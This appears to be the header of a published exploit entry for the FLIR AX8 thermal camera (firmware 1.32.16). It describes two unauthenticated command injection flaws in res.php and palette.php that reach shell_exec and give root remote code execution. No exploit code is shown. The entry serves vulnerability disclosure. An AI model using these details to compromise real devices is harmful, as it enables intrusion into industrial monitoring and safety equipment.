The FLIR AX8 thermal sensor camera version 1.32.16 suffers from two unauthenticated command injection vulnerabilities. The issues can be triggered when calling multiple unsanitized HTTP GET/POST parameters within the shell_exec function in res.php and palette.php file. This can be exploited to inject arbitrary system commands and gain root remote code execution.

# FLIR Systems FLIR AX8 Thermal Camera 1.32.16 Remote Root Exploit
#
#
# Vendor: FLIR Systems, Inc.
# Product web page: https://www.flir.com
# Affected version: Firmware: 1.32.16
# 1.17.13
# OS: neco_v1.8-0-g7ffe5b3
# Hardware: Flir Systems Neco Board
#
# Summary: Thermal Imaging Camera For Continuous Condition and Safety
# Monitoring FLIR AX8 is a thermal sensor with imaging capabilities.
# Combining thermal and visual cameras in a small, affordable package,
# the AX8 provides continuous temperature monitoring and alarming capabilities
# to protec critical electrical and mechanical equipment. The AX8 helps
# you guard against unplanned outages, service interruptions, and equipment
# failure.
#
# The FLIR AX series camera/sensor also has built-in support to connect to
# industrial control equipment such as programmable logic controllers (PLCs),
# and allows the sharing of analysis and alarm results and simple control
# using the Ethernet/IP and Modbus TCP field bus protocols. Compact and easy
# to install, the AX8 provides continuous monitoring of electrical cabinets,
# process and manufacturing areas, data centers, energy generation and distribution,
# transportation and mass transit, storage facilities and refrigeration warehouses.
#
# Desc: The FLIR AX8 thermal sensor camera suffers from two unauthenticated
# command injection vulnerabilities. The issues can be triggered when calling
# multiple unsanitized HTTP GET/POST parameters within the shell_exec function
# in res.php and palette.php file. This can be exploited to inject arbitrary
# system commands and gain root remote code execution.
